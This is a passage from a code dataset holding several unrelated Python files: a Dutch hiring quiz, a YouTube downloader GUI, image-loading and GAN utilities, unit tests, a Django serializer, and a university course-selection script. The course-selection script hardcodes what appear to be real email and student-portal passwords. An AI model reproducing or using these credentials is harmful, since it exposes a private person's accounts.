ervaringC >= 3:\n requirement1 = True\nelse:\n requirement1 = False\n\n\n# Vraag 2\n\nrepeat = True\nwhile repeat:\n repeat = False\n diploma = input('Bent U in bezit van een diploma in MBO-4 ondernemen of hoger? '\n ' Antwoord met \"Ja\" of \"Nee\". ').lower()\n if diploma == 'ja':\n print('U hebt aangegeven dat U in bezit bent van een diploma MBO-4 ondernemen.'\n ' U gaat nu door naar de volgende vraag.')\n elif diploma == 'nee':\n print('U hebt aangegeven dat U niet in bezit bent van een diploma MBO-4 ondernemen.'\n ' U gaat nu door naar de volgende vraag.')\n else:\n print('Dat is geen mogelijk antwoord.')\n repeat = True\n \nif diploma == 'ja':\n requirement2 = True\nelif diploma == 'nee':\n requirement2 = False\n\n\n# Vraag 3\n\nrepeat = True\nwhile repeat:\n repeat = False\n rijbewijs = input('Heeft U een geldig vrachtwagen rijbewijs tot Uw beschikking?'\n ' Antwoord met \"Ja\" of \"Nee\". ').lower()\n if rijbewijs == 'ja':\n print('U hebt aangegeven dat U in bezit bent van een geldig vrachtwagen rijbewijs.'\n ' U gaat nu door naar de volgende vraag. ')\n elif rijbewijs == 'nee':\n print('U hebt aangegeven dat U niet in bezit bent van een geldig vrachtwagen rijbewijs.'\n ' U gaat nu door naar de volgende vraag. ')\n else:\n print('Dat is geen mogelijk antwoord. ')\n repeat = True\n\nif rijbewijs == 'ja':\n requirement3 = True\nelif rijbewijs == 'nee':\n requirement3 = False\n\n\n# Vraag 4\n\nrepeat = True\nwhile repeat:\n repeat = False\n hoed = input('Bent U in bezit van een hoge hoed?'\n ' Antwoord met \"Ja\" of \"Nee\" ').lower()\n if hoed == 'ja':\n print('U hebt aangegeven dat U in bezit bent van een hoge hoed.'\n ' U gaat nu door naar de volgende vraag. ')\n elif hoed == 'nee':\n print('U hebt aangegeven dat U niet in bezit bent van een hoge hoed.'\n ' U gaat nu door naar de volgende vraag. ')\n else:\n print('Dat is geen mogelijk antwoord.')\n repeat = True\n\nif hoed == 'ja':\n requirement4 = True\nelif hoed == 'nee':\n requirement4 = False\n\n\n# Vraag 5\n\nsnorB = 0\nkrulhaarL = 0\n\nrepeat = True\nwhile repeat:\n repeat = False\n if gender == 'man':\n snor = input('Heeft U een snor?'\n ' Antwoord met \"Ja\" of \"Nee\". ').lower()\n if snor == 'ja':\n snorB = int(input('Hoe breed is uw snor in centimeters?'\n ' Antwoord alleen met een afgerond getal. '))\n print('U hebt aangegeven dat U een snor hebt die ten minste ' + str(snorB) + \n ' centimeter breed is. '\n ' U gaat nu door naar de volgende vraag. ')\n elif snor == 'nee':\n print('U hebt aangegeven dat U geen snor hebt.'\n ' U gaat nu door naar de volgende vraag.')\n else:\n print('Dat is geen mogelijk antwoord.')\n repeat = True\n elif gender == 'vrouw':\n krulhaar = input('Heeft U rood krulhaar?'\n ' Antwoord met \"Ja\" of \"Nee\". ').lower()\n if krulhaar == 'ja':\n krulhaarL = int(input('Hoe lang is Uw haar in centimeters?'\n ' Antwoord alleen met een afgerond getal. '))\n print('U hebt aangegeven dat U rood krulhaar hebt dat ten minste ' + str(krulhaarL) + \n ' lang is.'\n ' U gaat nu door naar de volgende vraag. ')\n elif krulhaar == 'nee':\n print('U hebt aangegeven dat U geen rood krulhaar hebt.'\n ' U gaat nu door naar de volgende vraag.')\n else:\n print('Dat is geen mogelijk antwoord.')\n repeat = True\n\nif snorB >= 10:\n requirement5 = True\nelif krulhaarL >= 20:\n requirement5 = True\nelse:\n requirement5 = False\n\n\n# Vraag 6\n\nlengte = 0\n\nrepeat = True\nwhile repeat:\n repeat = False\n lengte = int(input('Hoe lang bent U in centimeters?'\n ' Antwoord alleen met een afgerond getal. '))\n print('U hebt aangegeven dat U ongeveer ' + str(lengte) + 'cm lang bent.'\n ' U gaat nu door naar de volgende vraag.')\n\nif lengte >= 150:\n requirement6 = True\nelse:\n requirement6 = False\n\n\n# Vraag 7\n\ngewicht = 0\n\nrepeat = True\nwhile repeat:\n repeat = False\n gewicht = int(input('Wat is Uw gewicht in kg?'\n ' Antwoord alleen met een afgerond getal. '))\n print('U hebt aangegeven dat U ongeveer ' + str(gewicht) + 'kg weegt.'\n ' U gaat nu door naar de volgende vraag.')\n\nif gewicht >= 90:\n requirement7 = True\nelse:\n requirement7 = False\n\n\n# Vraag 8\n\n\nrepeat = True\nwhile repeat:\n repeat = False\n certificaat = input('Bent U in bezit van een certificaat \"Overleven met gevaarlijk personeel\"?'\n ' Antwoord met \"Ja\" of \"Nee\". ').lower()\n if certificaat == 'ja':\n print('''U hebt aangegeven dat U in bezit bent van een certificaat\n \"Overleven met gevaarlijk personeel\".''')\n elif certificaat == 'nee':\n print('''U hebt aangegeven dat U niet in bezit bent van een certificaat\n \"Overleven met gevaarlijk personeel\".''')\n else:\n print('Dat is geen mogelijk antwoord.')\n repeat = True\n\nif certificaat == 'ja':\n requirement8 = True\nelse:\n requirement8 = False\n\n\n# Resultaat\n\nif (requirement1 and requirement2 and requirement3 and requirement4 and \\\nrequirement5 and requirement6 and requirement7 and requirement8):\n print('Gefeliciteerd! U bent aangenomen!')\nelse:\n print('Jammer, U bent niet aangenomen.')\n","sub_path":"Sollicitatie.py","file_name":"Sollicitatie.py","file_ext":"py","file_size_in_byte":7103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"187175352","text":"from __future__ import print_function\nfrom pytube import YouTube\nfrom pprint import pprint\n\nimport Tkinter as tk\nfrom Tkinter import *\n \nclass ExampleApp(tk.Frame):\n def __init__(self, master):\n self.yt = YouTube()\n \n # Initialize window using the parent's constructor\n tk.Frame.__init__(self,master,width=700,height=400)\n # Set the title\n self.master.title('PyTube: YouTube downloader')\n \n # This allows the size specification to take effect\n self.pack_propagate(0)\n \n # We'll use the flexible pack layout manager\n self.pack()\n\n # The recipient text entry control and its StringVar\n labelText=StringVar()\n labelText.set(\"Enter url \")\n labelDir=Label(self,textvariable=labelText, height=4)\n labelDir.grid(row=0)\n #labelDir.pack(side=\"left\")\n #labelDir.pack();\n\n self.url=StringVar()\n self.urlname=Entry(self,textvariable=self.url,width=50)\n self.urlname.grid(row=0,column=1)\n #urlname.pack()\n #Fetch button\n self.fetch_button = tk.Button(self,text='Fetch',command=self.fetch_list).grid(row=1,column=0)\n\n #menu\n self.om_variable = tk.StringVar(self)\n self.om = OptionMenu(self, self.om_variable, ['select'])\n self.om.grid(row=2,column=0)\n self.om.configure(width=20) \n \n #download\n self.download_button = tk.Button(self,text='Download',command=self.download).grid(row=2,column=1)\n\n def download(self):\n v = self.om_variable.get()\n self.yt.videos[0].download('/home/dorado/')\n \n\n def fetch_list(self):\n self.yt.url = self.url.get()\n options = self.yt.videos\n menu = self.om['menu']\n menu.delete(0,'end')\n for string in options:\n menu.add_command(label=string,command=lambda value=string:self.om_variable.set(value))\n self.om_variable.set(options[0])\n\n def print_out(self):\n ''' Print a greeting constructed\n from the selections made by\n the user. '''\n print('%s, %s!' % (self.greeting_var.get().title(),\n self.recipient_var.get()))\n def run(self):\n ''' Run the app '''\n self.mainloop()\n \napp = ExampleApp(tk.Tk())\napp.run()\n","sub_path":"gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":2311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"412478488","text":"import numpy as np\nimport cv2\nimport copy\nimport os\nfrom PIL import Image, ImageFile\n\n\"\"\"\nThis code is highly influenced by the implementation of:\nhttps://github.com/joelthchao/tensorflow-finetune-flickr-style/dataset.py\nBut changed a bit to allow data augmentation (yet only horizontal flip) and \nshuffling of the data. \nThe other source of inspiration is the ImageDataGenerator by @fchollet in the \nKeras library. But as I needed BGR color format for fine-tuneing AlexNet I \nwrote my own little generator.\n\"\"\"\n\n\nclass ImageDataGenerator:\n def __init__(self, class_list, horizontal_flip=False, shuffle=False,\n mean=np.array([104., 117., 124.]), scale_size=(256, 256),\n crop_size=(227, 227), nb_classes=2):\n\n # Init params\n self.horizontal_flip = horizontal_flip\n self.n_classes = nb_classes\n self.shuffle = shuffle\n self.mean = mean\n self.scale_size = scale_size\n self.crop_size = crop_size\n self.pointer = 0\n # read imagePath and label\n self.read_class_list(class_list)\n\n # ==============================================================================\n # print '{} begin preprocess images'.format(datetime.now())\n # # read image and resize them, store them, then use one-hot coding for labels\n # self.imageArray, self.labels = self.read_image_label()\n # print '{} finish preprocessing images'.format(datetime.now())\n #\n # print self.imageArray.shape, self.labels.shape\n # ==============================================================================\n\n if self.shuffle:\n self.shuffle_data()\n\n def read_class_list(self, class_list):\n \"\"\"\n Scan the image file and get the image paths and labels\n \"\"\"\n with open(class_list) as f:\n lines = f.readlines()\n self.images = []\n self.labels = []\n for l in lines:\n items = l.split()\n self.images.append(items[0])\n self.labels.append(int(items[1]))\n\n # store total number of data\n self.data_size = len(self.labels)\n\n def shuffle_data(self):\n \"\"\"\n Random shuffle the images and labels\n \"\"\"\n images = copy.copy(self.images)\n labels = copy.copy(self.labels)\n self.images = []\n self.labels = []\n\n # create list of permutated index and shuffle data accoding to list\n idx = np.random.permutation(len(labels))\n for i in idx:\n self.images.append(images[i])\n self.labels.append(labels[i])\n\n def read_image_label(self):\n \"\"\"\n read image and resize them, store them, \n then use one-hot coding for label, and it's size = imageNums * classNums\n \"\"\"\n imageNames = self.images\n labels = self.labels\n # total numbers of images\n imageNums = len(imageNames)\n print('image numbers', imageNums)\n\n # use numpy.ndarry to stord images\n storedImages = np.ndarray([imageNums, self.scale_size[0], self.scale_size[1], 3])\n # resize images and subtract mean\n storedImages = self.read_images_opencv(storedImages, imageNames, self.rootPath)\n\n # Expand labels to one hot encoding\n one_hot_labels = np.zeros((imageNums, self.n_classes))\n for i in range(len(labels)):\n one_hot_labels[i][labels[i]] = 1\n\n return storedImages, one_hot_labels\n\n def reset_pointer(self):\n \"\"\"\n reset pointer to begin of the list\n \"\"\"\n self.pointer = 0\n\n if self.shuffle:\n self.shuffle_data()\n\n # Read images by PIL\n def read_images_PIL(self, images, paths, rootPath=None):\n ImageFile.LOAD_TRUNCATED_IMAGES = True\n for i in range(len(paths)):\n if rootPath is not None:\n fullImagePath = os.path.join(rootPath, paths[i])\n else:\n fullImagePath = paths[i]\n img = Image.open(fullImagePath)\n # flip image at random if flag is selected\n if self.horizontal_flip and np.random.random() < 0.5:\n img = img.transpose(Image.FLIP_LEFT_RIGHT)\n\n # rescale image\n img = img.resize((self.scale_size[0], self.scale_size[0]), Image.BICUBIC)\n img_array = np.array(img)\n img_array = img_array.astype(np.float32)\n\n # center crop\n img_array = self.center_crop(img_array, self.scale_size[0], self.scale_size[1], self.crop_size[0],\n self.crop_size[1])\n # subtract mean\n img_array -= self.mean\n\n images[i] = img_array\n return images\n\n # center crop \n def center_crop(self, x, height, width, crop_h, crop_w):\n if crop_w is None:\n crop_w = crop_h\n # h, w = x.shape[:2]\n h, w = height, width\n j = int(round((h - crop_h) / 2.))\n i = int(round((w - crop_w) / 2.))\n return x[j:j + crop_h, i:i + crop_w]\n\n # Read images by opencv2\n def read_images_opencv(self, images, paths, rootPath=None):\n for i in range(len(paths)):\n if rootPath is not None:\n fullImagePath = os.path.join(rootPath, paths[i])\n else:\n fullImagePath = paths[i]\n # if os.path.exists(fullImagePath):\n # print fullImagePath\n\n img = cv2.imread(fullImagePath)\n h, w, c = img.shape\n assert c == 3\n\n # flip image at random if flag is selected\n if self.horizontal_flip and np.random.random() < 0.5:\n img = cv2.flip(img, 1)\n\n # rescale image\n img = cv2.resize(img, (self.scale_size[0], self.scale_size[0]))\n img = img.astype(np.float32)\n # crop image\n img = self.center_crop(img, self.scale_size[0], self.scale_size[0], self.crop_size[0], self.crop_size[1])\n # subtract mean\n img -= self.mean\n # print img[0]\n images[i] = img\n return images\n\n def next_batch(self, batch_size, rootPath=None):\n \"\"\"\n This function gets the next n ( = batch_size) images from the path list\n and labels and loads the images into them into memory \n \"\"\"\n # Get next batch of image (path) and labels\n nums = len(self.images)\n if self.pointer + batch_size < nums:\n paths = self.images[self.pointer:self.pointer + batch_size]\n labels = self.labels[self.pointer:self.pointer + batch_size]\n else:\n new_ptr = (self.pointer + batch_size) % nums\n paths = self.images[self.pointer:] + self.images[:new_ptr]\n labels = self.labels[self.pointer:] + self.labels[:new_ptr]\n self.pointer = new_ptr\n\n # update pointer\n self.pointer += batch_size\n\n # Read images by opencv2\n images = np.ndarray([batch_size, self.crop_size[0], self.crop_size[1], 3])\n images = self.read_images_opencv(images, paths, rootPath)\n\n # Expand labels to one hot encoding\n one_hot_labels = np.zeros((batch_size, self.n_classes))\n for i in range(len(labels)):\n one_hot_labels[i][labels[i]] = 1\n\n # return array of images and labels\n return images, one_hot_labels\n\n\n# Test\nif __name__ == '__main__':\n train_txt = '/home/cai/dataset/food-101/data/train_meta_101.txt'\n root = '/home/cai/dataset/food-101/'\n train_generator = ImageDataGenerator(train_txt, horizontal_flip=True, shuffle=False, nb_classes=101)\n\n batch_x, batch_y = train_generator.next_batch(510, root)\n","sub_path":"train_codes/datagenerator.py","file_name":"datagenerator.py","file_ext":"py","file_size_in_byte":7763,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"36773414","text":"import time\nimport torch\nimport torch.nn as nn\nimport torch.autograd as autograd \n\ndef weights_init(m):\n classname = m.__class__.__name__\n if classname.find('Conv') != -1:\n m.weight.data.normal_(0.0, 0.02)\n elif classname.find('BatchNorm') != -1:\n m.weight.data.normal_(1.0, 0.02)\n m.bias.data.fill_(0)\n elif classname.find('Linear') != -1:\n m.weight.data.normal_(0.0, 0.02)\n if m.bias is not None:\n m.bias.data.fill_(0.0)\n\ndef get_net_grad_mean(net):\n grad_abs = 0\n grad_cnt = 0\n for param in net.parameters():\n if not param.grad is None:\n grad_abs += torch.abs(param.grad).cpu().mean().item()\n grad_cnt += 1\n\n return grad_abs/grad_cnt\n\ndef get_net_param_mean(net):\n param_abs = 0\n param_cnt = 0\n for param in net.parameters():\n if not param.grad is None:\n param_abs += torch.abs(param).cpu().mean().item()\n param_cnt += 1\n\n return param_abs/param_cnt\n\ndef grad_penalty(model_D, real_data, fake_data, cuda_enable, param_lambda=10):\n # real_data: batch * channel * W * H\n batch_size = real_data.shape[0]\n alpha = torch.rand((batch_size,1))\n alpha = alpha.unsqueeze(2).unsqueeze(3).expand(real_data.size())\n #alpha = alpha.expand_as(real_data)\n if cuda_enable:\n alpha = alpha.cuda() \n interpolations = alpha * real_data + (1-alpha)*fake_data\n if cuda_enable:\n interpolations = interpolations.cuda()\n\n interpolations.requires_grad_(True)\n dis_interpolations = model_D.forward(interpolations)\n grad_outputs = torch.ones_like(dis_interpolations)\n if cuda_enable:\n grad_outputs = grad_outputs.cuda()\n grad = autograd.grad(outputs=dis_interpolations, inputs=interpolations, \n grad_outputs=grad_outputs, create_graph=True, retain_graph=True, only_inputs=True)[0]\n grad_penalty = ((grad-1)**2).mean() * param_lambda\n return grad_penalty\n\n\ndef grad_penalty_condition(model_D, real_data, fake_data, condition, cuda_enable, param_lambda=10):\n # real_data: batch * channel * W * H\n batch_size = real_data.shape[0]\n alpha = torch.rand((batch_size,1))\n alpha = alpha.unsqueeze(2).unsqueeze(3).expand(real_data.size())\n #alpha = alpha.expand_as(real_data)\n if cuda_enable:\n alpha = alpha.cuda() \n interpolations = alpha * real_data + (1-alpha)*fake_data\n if cuda_enable:\n interpolations = interpolations.cuda()\n\n interpolations.requires_grad_(True)\n dis_interpolations, _ = model_D.forward(interpolations, condition)\n grad_outputs = torch.ones_like(dis_interpolations)\n if cuda_enable:\n grad_outputs = grad_outputs.cuda()\n grad = autograd.grad(outputs=dis_interpolations, inputs=[interpolations, condition], \n grad_outputs=grad_outputs, create_graph=True, retain_graph=True, only_inputs=True)[0]\n grad_norm = torch.sqrt(torch.sum(grad**2, dim=1)+1e-12)\n grad_penalty = ((grad_norm-1)**2).mean() * param_lambda\n return grad_penalty\n\n\ndef KL_loss(mu, logvar):\n # -0.5 * sum(1 + log(sigma^2) - mu^2 - sigma^2)\n KLD_element = mu.pow(2).add_(logvar.exp()).mul_(-1).add_(1).add_(logvar)\n KLD = torch.mean(KLD_element).mul_(-0.5)\n return KLD\n\n# decorator for runtime\ndef runtime(func):\n def warpper(*args, **kvargs):\n tic = time.time()\n result = func(*args, **kvargs)\n toc = time.time()\n print(\"{}:{%.6f}s\".format(func.__name__, toc-tic))\n return result\n return warpper\n\n\n\ndef get_time(time_last):\n time_now = time.time()\n time_gap = time_now-time_last\n time_last = time_now\n return time_gap, time_last","sub_path":"common/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"121858639","text":"import unittest\nimport os\n\nfrom python import part1 as d21p1\nfrom python import part2 as d21p2\n\nclass TestDay21(unittest.TestCase):\n def __init__(self, args):\n super(TestDay21, self).__init__(args)\n if \"day21_Cypher\" in os.getcwd():\n self.path = \"python/\"\n else:\n self.path = \"day21_Cypher/python/\"\n\n def test_part1_operations(self):\n test_list = [i for i in \"abcde\"]\n asserts = [\"ebcda\", \"edcba\", \"abcde\", \"bcdea\",\n \"bdeac\", \"abdec\", \"ecabd\", \"decab\"]\n data = open(self.path + \"testinput.txt\").readlines()\n for test_operation, assert_str in zip(data, asserts):\n test_list = d21p1.operation(test_list, test_operation)\n test_str = \"\".join(test_list)\n self.assertEqual(test_str, assert_str)\n\n def test_part2_operations(self):\n test_list = [i for i in \"decab\"]\n asserts = [\"ecabd\", \"abdec\", \"bdeac\", \"bcdea\",\n \"abcde\", \"edcba\", \"ebcda\", \"abcde\"]\n data = open(self.path + \"testinput.txt\").readlines()\n for test_operation, assert_str in zip(data[::-1], asserts):\n test_list = d21p2.operation(test_list, test_operation)\n test_str = \"\".join(test_list)\n self.assertEqual(test_str, assert_str)\n\n def test_answers(self):\n self.assertEqual(d21p1.run(self.path), \"dgfaehcb\")\n self.assertEqual(d21p2.run(self.path), \"fdhgacbe\")\n\ndef main():\n unittest.main()\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"day21_Cypher/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1516,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"483567141","text":"import requests\r\nimport re\r\nimport smtplib\r\nfrom email.mime.text import MIMEText\r\nfrom email.utils import parseaddr, formataddr\r\nfrom email.header import Header\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.base import MIMEBase\r\nfrom email.encoders import encode_base64\r\nimport poplib\r\n\r\n\r\nclass Selector:\r\n\r\n\tdef __init__(self, user, pwd):\r\n\t\tself.username = user\r\n\t\tself.password = pwd\r\n\t\tself.auto_email = EmailUser()\r\n\r\n\tdef connectServer(self, url, response, headers):\r\n\t\ttry:\r\n\t\t\tres = response.get(url, headers=headers)\r\n\t\texcept:\r\n\t\t\tprint(\"Cant connect to the target server.\")\r\n\t\t\traise ConnectionError\r\n\t\tif re.findall(\"游客登录\", res.text) != []:\r\n\t\t\tprint(\"=\"*6 + \"Invalid captcha or information.\" + \"=\"*6)\r\n\t\t\traise ValueError\r\n\t\telif re.findall(\"404.png\", res.text) != []:\r\n\t\t\tprint(\"=\"*6 + \"Server error.\" + \"=\"*6)\r\n\t\t\traise ConnectionError\r\n\t\telse:\r\n\t\t\treturn {\"res\": res, \"session\": response}\r\n\r\n\tdef connectServerPost(self, url, response, headers, data):\r\n\t\ttry:\r\n\t\t\tres = response.post(url, headers=headers, data=data)\r\n\t\texcept:\r\n\t\t\tprint(\"Cant connect to the post server.\")\r\n\t\t\traise ConnectionError\r\n\t\tif re.findall(\"用户名/密码错误\", res.text) != []:\r\n\t\t\tprint(\"=\"*6 + \"Invalid user name or password.\" + \"=\"*6)\r\n\t\t\traise ValueError\r\n\t\telif re.findall('验证码错误', res.text) != []:\r\n\t\t\tprint(\"=\"*6 + \"Invalid captcha input.\" + \"=\"*6)\r\n\t\telif re.findall(\"404.png\", res.text) != []:\r\n\t\t\tprint(\"=\"*6 + \"Post server error.\" + \"=\"*6)\r\n\t\t\traise ConnectionError\r\n\t\telse:\r\n\t\t\treturn {\"res\": res, \"session\": response}\r\n\r\n\tdef getCaptha(self):\r\n\t\turl = \"http://210.42.121.241/servlet/GenImg\"\r\n\t\tresponse = requests.session()\r\n\t\tprint(\"Trying to connect to the captcha server...\")\r\n\t\tconn = self.connectServer(url, response=response, headers={})\r\n\t\tres = conn[\"res\"]\r\n\t\tresponse = conn[\"session\"]\r\n\t\ttry:\r\n\t\t\tf = open(\"0.jpg\", \"wb\")\r\n\t\t\tf.write(res.content)\r\n\t\t\tf.close()\r\n\t\texcept:\r\n\t\t\tprint(\"Cant open jpg file.\")\r\n\t\t\traise FileExistsError\r\n\t\tcookie = re.findall('kie (.*) for', str(res.cookies))[0]\r\n\t\tcap = input(\"Plz enter the strings in the pic: \")\r\n\t\treturn {\"cap\": cap, \"response\": response, \"cookie\": cookie}\r\n\r\n\tdef checkUser(self):\r\n\t\turl = \"http://210.42.121.241/servlet/Login\"\r\n\t\twhile True:\r\n\t\t\ttry:\r\n\t\t\t\tkeys = self.getCaptha()\r\n\t\t\t\tbreak\r\n\t\t\texcept:\r\n\t\t\t\tprint(\"Failed to connect to captcha server. Try again in 1 second.\")\r\n\t\t\t\tcontinue\r\n\t\tprint(\"Trying to login...\")\r\n\t\tcaptcha = keys[\"cap\"]\r\n\t\tresponse = keys[\"response\"]\r\n\t\tcookie = keys[\"cookie\"]\r\n\t\theaders = {\r\n\t\t\t\"Cookie\": cookie,\r\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0\",\r\n\t\t}\r\n\t\tpost_data = {\r\n\t\t\t\"id\": self.username,\r\n\t\t\t\"pwd\": self.password,\r\n\t\t\t\"xdvfb\": captcha\r\n\t\t}\r\n\t\twhile True:\r\n\t\t\ttry:\r\n\t\t\t\tresponse = self.connectServerPost(url, response=response, headers=headers, data=post_data)[\"session\"]\r\n\t\t\t\tself.auto_email.send_captcha(captcha)\r\n\t\t\t\tbreak\r\n\t\t\texcept:\r\n\t\t\t\tprint(\"Failed to login. Try again in 1 second.\")\r\n\t\t\t\tcontinue\r\n\t\tprint(\"==\"*30)\r\n\t\tprint(\"Login successfully\")\r\n\t\tprint(\"==\"*30)\r\n\t\treturn {\"session\": response, \"cookie\": cookie}\r\n\r\n\tdef getCourse(self):\r\n\t\tcour = list()\r\n\t\tfor i in range(6):\r\n\t\t\tprint(\"Enter 'finish' to finish.\")\r\n\t\t\tprint(\"Selected %s courses.\" % str(i))\r\n\t\t\tcourse = input(\"Enter your %s course id:\" % str(i + 1))\r\n\t\t\tif course == \"finish\":\r\n\t\t\t\tbreak\r\n\t\t\tcour.append(course)\r\n\t\treturn cour\r\n\r\n\tdef main(self):\r\n\t\turl = \"http://210.42.121.241/servlet/ProcessApply?applyType=pub&studentNum=\" + self.username\r\n\t\tcourse = self.getCourse()\r\n\t\tinfos = self.checkUser()\r\n\t\tresponse = infos[\"session\"]\r\n\t\tcookie = infos[\"cookie\"]\r\n\t\tprint(\" \")\r\n\t\tprint(\"Posting your courses...\")\r\n\t\tpost_data = []\r\n\t\tfor cou in course:\r\n\t\t\tpost_data.append((\"apply\", cou))\r\n\t\theaders = {\r\n\t\t\t\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0\",\r\n\t\t\t\"Cookie\": cookie\r\n\t\t}\r\n\t\tprint(\"Trying to post your courses...\")\r\n\t\twhile True:\r\n\t\t\ttry:\r\n\t\t\t\tconn = self.connectServerPost(url, response=response, headers=headers, data=post_data)\r\n\t\t\t\tbreak\r\n\t\t\texcept:\r\n\t\t\t\tprint(\"Failed to post your course. Try again in 1 second.\")\r\n\t\t\t\tcontinue\r\n\t\tres = conn[\"res\"]\r\n\t\tinfo = re.findall('恭喜您，申请单提交成功！', res.text)\r\n\t\tif info != []:\r\n\t\t\tprint(\"==\"*30)\r\n\t\t\tprint(\"Done\")\r\n\t\t\tprint(\"Selected courses:\")\r\n\t\t\tfor n in course:\r\n\t\t\t\tprint(n)\r\n\t\telse:\r\n\t\t\tprint(\"Error\")\r\n\r\n\r\nclass EmailUser:\r\n\r\n\tdef __init__(self):\r\n\t\tself.user = \"junkuizhang@126.com\"\r\n\t\tself.pwd = \"ZJKzhangjunkui01\"\r\n\t\tself.smtp_server = \"smtp.126.com\"\r\n\t\tself.pop_server = \"pop.126.com\"\r\n\r\n\tdef send_captcha(self, captcha):\r\n\r\n\t\tdef get_format_addr(data):\r\n\t\t\tname, addr = parseaddr(data)\r\n\t\t\treturn formataddr((Header(name, \"utf-8\").encode(), addr))\r\n\r\n\t\tmsg = MIMEMultipart()\r\n\t\tmessage = MIMEText(captcha, \"plain\", \"utf-8\")\r\n\t\tmsg[\"From\"] = get_format_addr(\"Junkui Zhang <%s>\" % self.user)\r\n\t\tmsg[\"To\"] = get_format_addr(\"Me <%s>\" % self.user)\r\n\t\tmsg[\"Subject\"] = Header(\"\", \"utf-8\").encode()\r\n\t\tmsg.attach(message)\r\n\r\n\t\twith open(\"0.jpg\", \"rb\") as file:\r\n\t\t\tpic = MIMEBase(\"image\", \"jpg\", filename=\"0.jpg\")\r\n\t\t\tpic.add_header(\"Content-Disposition\", \"attachment\", filename=\"0.jpg\")\r\n\t\t\tpic.add_header(\"Content-ID\", \"<0>\")\r\n\t\t\tpic.add_header(\"X-Attachment-ID\", \"0\")\r\n\t\t\tpic.set_payload(file.read())\r\n\t\t\tencode_base64(pic)\r\n\t\t\tmsg.attach(pic)\r\n\r\n\t\tserver = smtplib.SMTP(self.smtp_server, 25)\r\n\t\tserver.login(self.user, self.pwd)\r\n\t\tserver.sendmail(self.user, [self.user], msg.as_bytes())\r\n\t\tserver.quit()\r\n\r\n\tdef send_information(self, info, to_addr):\r\n\r\n\t\tdef get_format_addr(data):\r\n\t\t\tname, addr = parseaddr(data)\r\n\t\t\treturn formataddr((Header(name, \"utf-8\").encode(), addr))\r\n\r\n\t\tmessage = MIMEText(str(info), \"plain\", \"utf-8\")\r\n\t\tmessage[\"From\"] = get_format_addr(\"Junkui Zhang <%s>\" % self.user)\r\n\t\tmessage[\"To\"] = get_format_addr(\"User <%s>\" % to_addr)\r\n\t\tmessage[\"Subject\"] = Header(\"这是由软件自动发出的邮件！\", \"utf-8\").encode()\r\n\r\n\t\tserver = smtplib.SMTP(self.smtp_server, 25)\r\n\t\tserver.login(self.user, self.pwd)\r\n\t\tserver.sendmail(self.user, [to_addr], message.as_string())\r\n\t\tserver.quit()\r\n\r\n\tdef read_replies(self):\r\n\t\tserver = poplib.POP3(self.pop_server)\r\n\t\tserver.user(self.user)\r\n\t\tserver.pass_(self.pwd)\r\n\t\t# this is a placeholder\r\n\r\n\r\nif __name__ == \"__main__\":\r\n\ts = Selector(\"2013301000021\", \"zjk1995\")\r\n\ts.main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"94905084","text":"from rest_framework import serializers\nfrom .models import Tbl_Clientes, Tbl_Enderecos\nfrom validate_docbr import CPF\nimport re\n\n'''\nEssa classe transforma os JSONs recebidos em objetos\nna memória e vice-versa.\n'''\nclass Tbl_ClientesSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tbl_Clientes\n fields = [\n 'id',\n 'nome_completo_cliente', \n 'cpf', \n 'email',\n 'data_nascimento',\n 'numero_telefone',\n 'deletado',\n ]\n \n def validate_cpf(self, value):\n cpf = CPF()\n if not cpf.validate(value):\n raise serializers.ValidationError(\n 'Não é um CPF válido!'\n )\n return value\n \n def validate_email(self, value):\n if not re.match('.+@.+\\..+', value):\n raise serializers.ValidationError(\n 'Não é um e-mail válido!'\n )\n return value\n\n def validate_numero_telefone(self, value):\n if not re.match('\\(\\d{2,3}\\) ?\\d{4,5}\\-\\d{4}', value):\n raise serializers.ValidationError(\n 'Não é um telefone válido!'\n )\n return value\n\n'''\nEssa classe transforma os JSONs recebidos em objetos\nna memória e vice-versa.\n'''\nclass Tbl_EnderecosSerializer(serializers.ModelSerializer):\n class Meta:\n model = Tbl_Enderecos\n fields = [\n 'id',\n 'rua', \n 'numero', \n 'complemento',\n 'cep',\n 'cidade',\n 'estado',\n 'pais',\n 'cliente',\n 'cliente_id',\n 'deletado',\n ]\n \n def validate_cep(self, value):\n if not re.match('\\d{5}\\-\\d{3}', value):\n raise serializers.ValidationError(\n 'Não é um CEP válido!'\n )\n return value\n \n '''\n Função que verifica se o ID do cliente existe\n e não pertence a um cliente deletado para inserir\n ou atualizar um endereço.\n '''\n def validate_cliente_id(self, cli_id):\n cliente = Tbl_Clientes.objects.get(pk = cli_id)\n if cliente.deletado:\n raise serializers.ValidationError(\n 'Cliente inexistente.'\n )\n return cli_id","sub_path":"API/desafio-api-clientes/api_clientes/api/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"5849163","text":"\"\"\"\n练习\n 1.（4,4,5,565,6,7）通过迭代器获取元素\n 2.通过迭代器 获取字典\n\"\"\"\ntuple01 = (4,4,5,565,6,7)\niterable = tuple01.__iter__()\nprint(iterable)\nwhile True:\n try:\n item = iterable.__next__()\n print(item)\n except StopIteration:\n break\n\n\ndict01 = {\"张无忌\":3,\"赵敏\":2}\n\niterable = dict01.__iter__()\n\n\nwhile True:\n try:\n key = 